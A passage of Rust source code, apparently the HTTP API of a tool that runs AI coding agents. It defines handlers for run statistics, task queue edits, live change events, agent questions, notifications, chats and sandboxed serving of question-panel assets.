4487#[derive(Debug, Serialize)]
4493struct AdvisorStatsView {
4494 agent: String,
4495 seated: usize,
4496 proposed: usize,
4497 absent: usize,
4498 faint: usize,
4499 strong: usize,
4500 reflection_rate: Option<RateView>,
4501}
4502
4503impl From<&stats::AdvisorStats> for AdvisorStatsView {
4504 fn from(a: &stats::AdvisorStats) -> Self {
4505 Self {
4506 agent: a.agent.clone(),
4507 seated: a.seated,
4508 proposed: a.proposed,
4509 absent: a.absent,
4510 faint: a.faint,
4511 strong: a.strong,
4512 reflection_rate: RateView::of(a.strong, a.proposed),
4513 }
4514 }
4515}
4516
4517#[derive(Debug, Serialize)]
4519struct E2eStatsView {
4520 rounds: usize,
4521 failures: usize,
4522 sole_detections: usize,
4523 deferred: usize,
4524 sole_rate: Option<RateView>,
4525}
4526
4527impl From<&stats::E2eStats> for E2eStatsView {
4528 fn from(e: &stats::E2eStats) -> Self {
4529 Self {
4530 rounds: e.rounds,
4531 failures: e.failures,
4532 sole_detections: e.sole_detections,
4533 deferred: e.deferred,
4534 sole_rate: RateView::of(e.sole_detections, e.failures),
4535 }
4536 }
4537}
4538
4539#[derive(Debug, Serialize)]
4547struct ReleaseBumpStatsView {
4548 merged: usize,
4549 recorded: usize,
4550 pr_opened: usize,
4551 automerge_enabled: usize,
4552 merged_directly: usize,
4553 needs_attention: usize,
4554 clean: usize,
4555 coverage_rate: Option<RateView>,
4556 automerge_rate: Option<RateView>,
4557 attention_rate: Option<RateView>,
4558}
4559
4560impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4561 fn from(b: &stats::ReleaseBumpStats) -> Self {
4562 Self {
4563 merged: b.merged,
4564 recorded: b.recorded,
4565 pr_opened: b.pr_opened,
4566 automerge_enabled: b.automerge_enabled,
4567 merged_directly: b.merged_directly,
4568 needs_attention: b.needs_attention,
4569 clean: b.clean(),
4570 coverage_rate: RateView::of(b.recorded, b.merged),
4571 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4572 attention_rate: RateView::of(b.needs_attention, b.recorded),
4573 }
4574 }
4575}
4576
4577#[derive(Debug, Serialize)]
4579struct TaskCountsView {
4580 queued: usize,
4581 running: usize,
4582 done: usize,
4583 failed: usize,
4584 held: usize,
4585 blocked: usize,
4586}
4587
4588impl From<crate::queue::TaskCounts> for TaskCountsView {
4589 fn from(c: crate::queue::TaskCounts) -> Self {
4590 Self {
4591 queued: c.queued,
4592 running: c.running,
4593 done: c.done,
4594 failed: c.failed,
4595 held: c.held,
4596 blocked: c.blocked,
4597 }
4598 }
4599}
4600
4601#[derive(Debug, Serialize)]
4607struct RepoSummaryView {
4608 repo: String,
4611 name: String,
4613 runs: usize,
4614 completion_rate: Option<RateView>,
4615}
4616
4617impl From<&stats::RepoStats> for RepoSummaryView {
4618 fn from(r: &stats::RepoStats) -> Self {
4619 let t = &r.stats.totals;
4620 Self {
4621 repo: r.repo.to_string_lossy().into_owned(),
4622 name: r.name.clone(),
4623 runs: t.runs,
4624 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4625 }
4626 }
4627}
4628
4629#[derive(Debug, Serialize)]
4635struct StatsView {
4636 totals: StatsTotalsView,
4637 agents: Vec<AgentStatsView>,
4639 reviewers: Vec<ReviewerStatsView>,
4641 advisors: Vec<AdvisorStatsView>,
4643 e2e: E2eStatsView,
4644 release_bumps: ReleaseBumpStatsView,
4645 queue: TaskCountsView,
4646 runs_unreadable: usize,
4656 repos: Vec<RepoSummaryView>,
4660 repo: Option<String>,
4664}
4665
4666#[derive(Debug, Default, Deserialize)]
4675#[serde(default)]
4676struct StatsQuery {
4677 repo: Option<String>,
4678}
4679
4680async fn stats_get(
4687 State(ui): State<Arc<Ui>>,
4688 Query(q): Query<StatsQuery>,
4689) -> ApiResult<Json<StatsView>> {
4690 blocking(move || {
4691 let states: Vec<RunState> = run_ids(&ui.runs)
4692 .into_iter()
4693 .filter_map(|id| read_run(&ui.runs, &id).ok())
4694 .collect();
4695 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4696 .iter()
4697 .map(RepoSummaryView::from)
4698 .collect();
4699 let collected = match &q.repo {
4700 Some(repo) => {
4701 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4702 if filtered.is_empty() {
4703 return Err(ApiError::not_found(format!(
4704 "no runs recorded against repo `{repo}`"
4705 )));
4706 }
4707 stats::collect_refs(filtered)
4708 }
4709 None => stats::collect(&states),
4710 };
4711 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4712 Ok(Json(StatsView {
4713 totals: StatsTotalsView::from(&collected.totals),
4714 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4715 reviewers: collected
4716 .reviewers
4717 .iter()
4718 .map(ReviewerStatsView::from)
4719 .collect(),
4720 advisors: collected
4721 .advisors
4722 .iter()
4723 .map(AdvisorStatsView::from)
4724 .collect(),
4725 e2e: E2eStatsView::from(&collected.e2e),
4726 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4727 queue: TaskCountsView::from(queue_counts),
4728 runs_unreadable: runs_unreadable(&ui.runs),
4729 repos,
4730 repo: q.repo.clone(),
4731 }))
4732 })
4733 .await
4734}
4735
4736#[derive(Debug, Default, Deserialize)]
4739#[serde(default, deny_unknown_fields)]
4740struct HoldBody {
4741 reason: Option<String>,
4742}
4743
4744async fn queue_hold(
4745 State(ui): State<Arc<Ui>>,
4746 Path(id): Path<String>,
4747 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4748) -> ApiResult<Json<TaskView>> {
4749 let body = match body {
4753 Ok(Json(body)) => body,
4754 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4755 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4756 };
4757 let reason = body.reason.filter(|r| !r.trim().is_empty());
4758 mutate(ui, id, move |t| {
4759 t.hold_manual(reason.clone());
4760 Ok(())
4761 })
4762 .await
4763}
4764
4765async fn queue_release(
4766 State(ui): State<Arc<Ui>>,
4767 Path(id): Path<String>,
4768) -> ApiResult<Json<TaskView>> {
4769 mutate(ui, id, |t| {
4770 t.release();
4771 Ok(())
4772 })
4773 .await
4774}
4775
4776#[derive(Debug, Deserialize)]
4778#[serde(deny_unknown_fields)]
4779struct PriorityBody {
4780 priority: i32,
4781}
4782
4783async fn queue_priority(
4789 State(ui): State<Arc<Ui>>,
4790 Path(id): Path<String>,
4791 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4792) -> ApiResult<Json<TaskView>> {
4793 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4794 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4795}
4796
4797#[derive(Debug, Deserialize)]
4799#[serde(deny_unknown_fields)]
4800struct EditBody {
4801 title: String,
4802 instruction: String,
4803 #[serde(default)]
4806 force: bool,
4807}
4808
4809async fn queue_edit(
4813 State(ui): State<Arc<Ui>>,
4814 Path(id): Path<String>,
4815 body: std::result::Result<Json<EditBody>, JsonRejection>,
4816) -> ApiResult<Json<TaskView>> {
4817 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4818 let mut judged: Option<(String, PathBuf)> = None;
4822 if !body.force {
4823 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4824 let (id, text) = (id.clone(), body.instruction.clone());
4825 let (seen, hits) = blocking(move || {
4826 let id = resolve_task(&queue, &id)?;
4827 let t = queue.get(&id)?;
4828 if text == t.instruction {
4829 return Ok((None, Vec::new()));
4830 }
4831 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4832 Ok((Some((t.instruction, t.repo)), hits))
4833 })
4834 .await?;
4835 if let Some((_, repo)) = &seen {
4836 let cfg = crate::config::Config::discover(repo, None)
4837 .ok()
4838 .map(|(c, _)| c);
4839 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4840 .await
4841 .map_err(|dup| {
4842 ApiError::conflict(dup.render(
4843 "Nothing was saved. If it is not a duplicate, repeat the request with \
4844 \"force\": true.",
4845 ))
4846 })?;
4847 }
4848 judged = seen;
4849 }
4850 let force = body.force;
4851 mutate(ui, id, move |t| {
4852 if !force && body.instruction != t.instruction {
4853 match &judged {
4854 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4855 _ => {
4856 anyhow::bail!("the task changed while it was being checked; repeat the request")
4857 }
4858 }
4859 }
4860 t.edit(body.title.clone(), body.instruction.clone())
4861 })
4862 .await
4863}
4864
4865async fn queue_done(
4873 State(ui): State<Arc<Ui>>,
4874 Path(id): Path<String>,
4875) -> ApiResult<Json<TaskView>> {
4876 let home = ui.home.clone();
4877 mutate(ui, id, move |t| {
4878 t.succeed();
4879 crate::daemon::supersede_prior_runs(t, &home);
4887 Ok(())
4888 })
4889 .await
4890}
4891
4892async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4900 blocking(move || {
4901 let id = resolve_task(&ui.queue, &id)?;
4902 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4903 ui.queue
4904 .remove(&id, in_flight, &ui.questions)
4905 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4906 Ok(StatusCode::NO_CONTENT)
4907 })
4908 .await
4909}
4910
4911async fn mutate(
4920 ui: Arc<Ui>,
4921 id: String,
4922 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4923) -> ApiResult<Json<TaskView>> {
4924 blocking(move || {
4925 let id = resolve_task(&ui.queue, &id)?;
4926 let _claim = ui.queue.claim(&id).map_err(|e| {
4931 ApiError::conflict(format!(
4932 "{e:#} - a daemon is running this task, so it cannot be \
4933 changed from here yet"
4934 ))
4935 })?;
4936 let mut task = ui.queue.get(&id)?;
4937 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4938 Ok(dup) => ApiError::conflict(dup.render(
4939 "Nothing was saved. If it is not a duplicate, repeat the request with \
4940 \"force\": true.",
4941 )),
4942 Err(e) => ApiError::bad_request_from(e),
4943 })?;
4944 ui.queue.put(&mut task)?;
4945 Ok(Json(TaskView::from(task)))
4946 })
4947 .await
4948}
4949
4950async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4958 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4959 tokio::spawn(async move {
4960 let mut ticker = tokio::time::interval(POLL);
4961 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4962 let mut stamps: Option<[Stamps; 3]> = None;
4963 loop {
4964 ticker.tick().await;
4967 let state = Arc::clone(&ui);
4968 let revisions = tokio::task::spawn_blocking(move || {
4969 let stamps = [
4970 store_stamps(state.queue.root(), false),
4971 store_stamps(&state.runs, true),
4972 store_stamps(state.talks.root(), false),
4973 ];
4974 let revisions = (
4975 stamps_revision(&stamps[0]),
4976 stamps_revision(&stamps[1]),
4977 state.questions.revision(),
4978 stamps_revision(&stamps[2]),
4979 state.notices.revision(),
4980 state.lock_loop().rev,
4984 );
4985 (revisions, stamps)
4986 })
4987 .await;
4988 let Ok((revisions, next_stamps)) = revisions else {
4989 break;
4990 };
4991 if last == Some(revisions) {
4992 continue;
4993 }
4994 let mut payload = serde_json::json!({
4995 "queue_rev": revisions.0,
4996 "runs_rev": revisions.1,
4997 "questions_rev": revisions.2,
4998 "talks_rev": revisions.3,
4999 "notifications_rev": revisions.4,
5000 "loop_rev": revisions.5,
5001 });
5002 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5003 for (index, (key, rev)) in [
5004 ("queue_delta", base.0),
5005 ("runs_delta", base.1),
5006 ("talks_delta", base.3),
5007 ]
5008 .into_iter()
5009 .enumerate()
5010 {
5011 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5012 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5014 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5015 }
5016 }
5017 }
5018 last = Some(revisions);
5019 stamps = Some(next_stamps);
5020 let Ok(event) = Event::default().event("change").json_data(payload) else {
5022 break;
5023 };
5024 if tx.send(event).await.is_err() {
5025 break;
5026 }
5027 }
5028 });
5029 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5030 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5031}
5032
5033type Stamps = HashMap<String, (u128, u64)>;
5034
5035fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5037 std::fs::read_dir(root)
5038 .into_iter()
5039 .flatten()
5040 .flatten()
5041 .filter_map(|entry| {
5042 let path = if runs {
5043 entry.path().join("run.json")
5044 } else {
5045 entry.path()
5046 };
5047 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5048 return None;
5049 }
5050 let metadata = path.metadata().ok()?;
5051 let modified = metadata
5052 .modified()
5053 .ok()?
5054 .duration_since(std::time::UNIX_EPOCH)
5055 .ok()?;
5056 let id = if runs {
5057 entry.file_name().to_string_lossy().into_owned()
5058 } else {
5059 path.file_stem()?.to_string_lossy().into_owned()
5060 };
5061 Some((id, (modified.as_nanos(), metadata.len())))
5062 })
5063 .collect()
5064}
5065
5066#[derive(Debug, Serialize)]
5067struct Delta {
5068 base: u64,
5069 changed: Vec<String>,
5070 removed: Vec<String>,
5071}
5072
5073fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5074 let mut changed: Vec<_> = next
5075 .iter()
5076 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5077 .map(|(id, _)| id.clone())
5078 .collect();
5079 let mut removed: Vec<_> = previous
5080 .keys()
5081 .filter(|id| !next.contains_key(*id))
5082 .cloned()
5083 .collect();
5084 changed.sort_unstable();
5085 removed.sort_unstable();
5086 Delta {
5087 base,
5088 changed,
5089 removed,
5090 }
5091}
5092
5093fn runs_revision(runs: &FsPath) -> u64 {
5100 stamps_revision(&store_stamps(runs, true))
5101}
5102
5103fn stamps_revision(stamps: &Stamps) -> u64 {
5107 use std::hash::{Hash as _, Hasher as _};
5108 if stamps.is_empty() {
5109 return 0;
5110 }
5111 let mut entries: Vec<_> = stamps.iter().collect();
5112 entries.sort_unstable();
5113 let mut hasher = std::hash::DefaultHasher::new();
5114 entries.hash(&mut hasher);
5115 hasher.finish().max(1)
5116}
5117
5118fn run_ids(runs: &FsPath) -> Vec<String> {
5124 let mut ids: Vec<String> = std::fs::read_dir(runs)
5125 .into_iter()
5126 .flatten()
5127 .flatten()
5128 .filter(|e| e.path().join("run.json").is_file())
5129 .map(|e| e.file_name().to_string_lossy().into_owned())
5130 .collect();
5131 ids.sort_unstable_by(|a, b| b.cmp(a));
5133 ids
5134}
5135
5136fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5138 let path = runs.join(id).join("run.json");
5139 let body =
5140 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5141 let state: RunState =
5142 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5143 run::migrate_schema(state)
5148}
5149
5150#[must_use]
5158pub fn runs_unreadable(runs: &FsPath) -> usize {
5159 run_ids(runs)
5160 .into_iter()
5161 .filter(|id| read_run(runs, id).is_err())
5162 .count()
5163}
5164
5165fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5167 if runs.join(id).join("run.json").is_file() {
5168 return Ok(id.to_owned());
5169 }
5170 pick(run_ids(runs), id, "run")
5171}
5172
5173fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5175 if queue.path_of(id).is_file() {
5176 return Ok(id.to_owned());
5177 }
5178 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5179}
5180
5181#[derive(Debug, Serialize)]
5192struct QuestionView {
5193 #[serde(flatten)]
5194 question: Question,
5195 detail_md: Vec<md::Node>,
5196 thread_bodies_md: Vec<Vec<md::Node>>,
5198 waiting_on_agent: bool,
5208 holder: Option<&'static str>,
5212 deputies_enabled: bool,
5216 run_is_task: bool,
5219 origin_chat: Option<String>,
5224}
5225
5226impl QuestionView {
5227 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5231 let base = md::ImageBase::QuestionPanel {
5232 id: question.id.clone(),
5233 };
5234 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5235 Self {
5236 detail_md: md::to_nodes(&question.detail, &base),
5237 thread_bodies_md: question
5238 .thread
5239 .iter()
5240 .map(|t| md::to_nodes(&t.body, &base))
5241 .collect(),
5242 waiting_on_agent: question.waiting_on_agent(),
5243 holder,
5244 deputies_enabled,
5245 run_is_task: question.run_names_task(),
5246 origin_chat: None,
5247 question,
5248 }
5249 }
5250
5251 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5253 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5254 self
5255 }
5256}
5257
5258fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5262 Config::discover(repo, None).ok().map(|(c, _)| c)
5263}
5264
5265fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5267 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5268}
5269
5270fn question_views(
5273 qs: Vec<Question>,
5274 store: &ask::Questions,
5275 load: impl FnOnce() -> Option<Config>,
5276) -> Vec<QuestionView> {
5277 if qs.is_empty() {
5278 return Vec::new();
5279 }
5280 let cfg = load();
5281 qs.into_iter()
5282 .map(|q| {
5283 let on = deputies_enabled(cfg.as_ref(), &q);
5284 QuestionView::of(q, store, on)
5285 })
5286 .collect()
5287}
5288
5289fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5299 if !q.status.open() {
5300 return None;
5301 }
5302 if q.cwd.is_none() && q.deputy.is_none() {
5303 return crate::deputy::kind_of(q).map(|_| "nobody");
5304 }
5305 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5306 Some(_) if q.deputy.is_some() => "deputy",
5307 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5308 Some(_) => "asker",
5309 None => "nobody",
5310 })
5311}
5312
5313async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5319 blocking(move || {
5320 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5321 Ok(Json(
5322 question_views(ui.questions.list(), &ui.questions, || {
5323 deputy_config(&ui.repo)
5324 })
5325 .into_iter()
5326 .map(|v| v.with_origin(&tasks, &talks))
5327 .collect(),
5328 ))
5329 })
5330 .await
5331}
5332
5333async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5336 blocking(move || {
5337 let items = ui.notices.list();
5338 let unread = items.iter().filter(|n| n.unread()).count();
5339 Ok(Json(
5340 serde_json::json!({ "unread": unread, "items": items }),
5341 ))
5342 })
5343 .await
5344}
5345
5346fn notice_error(e: anyhow::Error) -> ApiError {
5347 ApiError::not_found(format!("{e:#}"))
5350}
5351
5352async fn notification_read(
5354 State(ui): State<Arc<Ui>>,
5355 Path(id): Path<String>,
5356) -> ApiResult<Json<Notice>> {
5357 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5358}
5359
5360async fn notification_dismiss(
5362 State(ui): State<Arc<Ui>>,
5363 Path(id): Path<String>,
5364) -> ApiResult<Json<Notice>> {
5365 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5366}
5367
5368async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5370 blocking(move || {
5371 let changed = ui.notices.mark_all_read()?;
5372 Ok(Json(serde_json::json!({ "marked": changed })))
5373 })
5374 .await
5375}
5376
5377#[derive(Debug, Default, Deserialize)]
5383#[serde(default, deny_unknown_fields)]
5384struct NewAnswer {
5385 choice: Option<String>,
5386 text: Option<String>,
5387}
5388
5389async fn question_answer(
5390 State(ui): State<Arc<Ui>>,
5391 Path(id): Path<String>,
5392 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5393) -> ApiResult<Json<QuestionView>> {
5394 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5395 let answer = match (body.choice, body.text) {
5396 (Some(c), None) => Answer::Choice(c),
5397 (None, Some(t)) => Answer::Text(t),
5398 (Some(_), Some(_)) => {
5399 return Err(ApiError::bad_request(
5400 "send either `choice` or `text`, not both",
5401 ));
5402 }
5403 (None, None) => {
5404 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5405 }
5406 };
5407
5408 blocking(move || {
5409 let id = resolve_question(&ui.questions, &id)?;
5410 let q = ui
5411 .questions
5412 .get(&id)
5413 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5414 if !q.status.open() {
5415 return Err(ApiError::conflict(format!(
5419 "question {} is already {}",
5420 q.short(),
5421 q.status.as_str()
5422 )));
5423 }
5424 let (q, ()) = ui
5428 .questions
5429 .update(&q.id, |r| r.answer(answer))
5430 .map_err(ApiError::bad_request_from)?;
5431 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5432 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5433 Ok(Json(
5434 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5435 ))
5436 })
5437 .await
5438}
5439
5440#[derive(Debug, Deserialize)]
5442#[serde(deny_unknown_fields)]
5443struct NewSay {
5444 body: String,
5445}
5446
5447async fn question_say(
5457 State(ui): State<Arc<Ui>>,
5458 Path(id): Path<String>,
5459 body: std::result::Result<Json<NewSay>, JsonRejection>,
5460) -> ApiResult<Json<QuestionView>> {
5461 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5462 blocking(move || {
5463 let id = resolve_question(&ui.questions, &id)?;
5464 let q = ui
5465 .questions
5466 .get(&id)
5467 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5468 if !q.status.open() {
5469 return Err(ApiError::conflict(format!(
5473 "question {} is already {}",
5474 q.short(),
5475 q.status.as_str()
5476 )));
5477 }
5478 let (q, ()) = ui
5481 .questions
5482 .update(&q.id, |r| r.say(body.body))
5483 .map_err(ApiError::bad_request_from)?;
5484 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5485 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5486 Ok(Json(
5487 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5488 ))
5489 })
5490 .await
5491}
5492
5493async fn question_consult(
5502 State(ui): State<Arc<Ui>>,
5503 Path(id): Path<String>,
5504) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5505 let (view, reclaimed) = blocking({
5506 let ui = Arc::clone(&ui);
5507 move || {
5508 let id = resolve_question(&ui.questions, &id)?;
5509 let q = ui
5510 .questions
5511 .get(&id)
5512 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5513 if !q.status.open() {
5514 return Err(ApiError::conflict(format!(
5515 "question {} is already {}",
5516 q.short(),
5517 q.status.as_str()
5518 )));
5519 }
5520 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5521 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5522 return Err(ApiError::conflict(format!(
5523 "question {} has no open chat to ask",
5524 q.short()
5525 )));
5526 };
5527 let cfg = if q.consult.is_none() {
5531 Some(Config::discover(&talk.repo, None)?.0)
5532 } else {
5533 None
5534 };
5535 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5536 let claim = if fresh {
5537 match ui.begin_queued_talk_turn(&talk.id)? {
5538 Some(turn_guard) => {
5539 let talk = ui.talks.get(&talk.id)?;
5540 let cfg = match cfg {
5541 Some(cfg) => cfg,
5542 None => Config::discover(&talk.repo, None)?.0,
5543 };
5544 Some((talk, cfg, turn_guard))
5545 }
5546 None => None,
5547 }
5548 } else {
5549 None
5550 };
5551 let q = ui.questions.get(&q.id)?;
5552 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5553 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5554 Ok((view, claim))
5555 }
5556 })
5557 .await?;
5558 if let Some((talk, cfg, turn_guard)) = reclaimed {
5559 let talks = ui.talks.clone();
5560 let id = talk.id.clone();
5561 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5562 }
5563 Ok((StatusCode::ACCEPTED, Json(view)))
5564}
5565
5566fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5568 if store.path_of(id).is_file() {
5569 return Ok(id.to_owned());
5570 }
5571 pick(
5572 store.list().into_iter().map(|q| q.id).collect(),
5573 id,
5574 "question",
5575 )
5576}
5577
5578async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5593 blocking(move || {
5594 let id = resolve_question(&ui.questions, &id)?;
5595 let Some(html) = ui.questions.panel_html(&id) else {
5596 return Err(ApiError::not_found(format!("question {id} has no panel")));
5597 };
5598 Ok(panel_response(
5599 "text/html; charset=utf-8",
5600 false,
5601 html.into_bytes(),
5602 ))
5603 })
5604 .await
5605}
5606
5607async fn question_asset(
5635 State(ui): State<Arc<Ui>>,
5636 Path((id, name)): Path<(String, String)>,
5637) -> ApiResult<Response> {
5638 if !crate::ask::valid_asset_name(&name) {
5641 return Err(ApiError::bad_request(format!(
5642 "`{name}` is not a usable asset name"
5643 )));
5644 }
5645 blocking(move || {
5646 let id = resolve_question(&ui.questions, &id)?;
5647 let asset = ui
5648 .questions
5649 .panel_asset(&id, &name)
5650 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5651 let Some(bytes) = asset else {
5652 return Err(ApiError::not_found(format!(
5653 "question {id} has no asset `{name}`"
5654 )));
5655 };
5656 Ok(panel_response(
5657 asset_content_type(&name),
5658 is_svg(&name),
5659 bytes,
5660 ))
5661 })
5662 .await
5663}
5664
5665fn asset_content_type(name: &str) -> &'static str {
5678 match extension(name).as_deref() {
5679 Some("png") => "image/png",
5680 Some("jpg" | "jpeg") => "image/jpeg",
5681 Some("gif") => "image/gif",
5682 Some("webp") => "image/webp",
5683 Some("svg") => "image/svg+xml",
5684 Some("css") => "text/css; charset=utf-8",
5685 Some("txt") => "text/plain; charset=utf-8",
5686 _ => "application/octet-stream",
5687 }
5688}
5689
5690fn is_svg(name: &str) -> bool {
5693 extension(name).as_deref() == Some("svg")
5694}
5695
5696fn extension(name: &str) -> Option<String> {
5698 name.rsplit_once('.')
5699 .map(|(_, ext)| ext.to_ascii_lowercase())
5700}
5701
5702fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5719 let mut res = (
5720 [
5721 (header::CONTENT_TYPE, content_type),
5722 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5723 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5724 (header::REFERRER_POLICY, "no-referrer"),
5725 ],
5726 body,
5727 )
5728 .into_response();
5729 if download {
5730 res.headers_mut().insert(
5731 header::CONTENT_DISPOSITION,
5732 HeaderValue::from_static("attachment"),
5733 );
5734 }
5735 res
5736}
5737
5738#[derive(Debug, Serialize)]
5744struct TalkView {
5745 #[serde(flatten)]
5746 talk: Talk,
5747 turn_bodies_md: Vec<Vec<md::Node>>,
5748 thinking: bool,
5756 context: talk::ContextUsage,
5760}
5761
5762impl TalkView {
5763 fn new(talk: Talk, thinking: bool) -> Self {
5766 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5767 Self::with_config(talk, thinking, cfg.as_ref())
5768 }
5769
5770 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5773 let context = talk::context_usage(&talk, cfg);
5774 let turn_bodies_md = talk
5775 .turns
5776 .iter()
5777 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5778 .collect();
5779 Self {
5780 turn_bodies_md,
5781 thinking,
5782 context,
5783 talk,
5784 }
5785 }
5786}
5787
5788#[derive(Debug, Serialize)]
5793struct TalkDetailView {
5794 #[serde(flatten)]
5795 view: TalkView,
5796 tasks: Vec<TaskView>,
5797 roster: Vec<RosterEntry>,
5800}
5801
5802#[derive(Debug, Serialize)]
5804struct RosterEntry {
5805 id: String,
5806 kind: AgentKind,
5807 runnable: bool,
5809}
5810
5811async fn talks_list(
5816 State(ui): State<Arc<Ui>>,
5817 Query(q): Query<ListQuery>,
5818) -> ApiResult<Json<Vec<TalkView>>> {
5819 blocking(move || {
5820 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5821 Ok(Json(
5822 ui.talks
5823 .list()
5824 .into_iter()
5825 .filter(|talk| q.contains(&talk.id))
5826 .map(|talk| {
5827 let thinking = ui.is_thinking(&talk.id);
5828 let cfg = configs
5829 .entry(talk.repo.clone())
5830 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5831 TalkView::with_config(talk, thinking, cfg.as_ref())
5832 })
5833 .collect(),
5834 ))
5835 })
5836 .await
5837}
5838
5839#[derive(Debug, Default, Deserialize)]
5844#[serde(default)]
5845struct NewTalk {
5846 agent: Option<String>,
5847 repo: Option<PathBuf>,
5848}
5849
5850async fn talk_post(
5853 State(ui): State<Arc<Ui>>,
5854 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5855) -> ApiResult<impl IntoResponse> {
5856 let body = match body {
5860 Ok(Json(body)) => body,
5861 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5862 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5863 };
5864 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5865 let cfg = config_for(&repo).await?;
5866 let view = blocking(move || {
5867 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
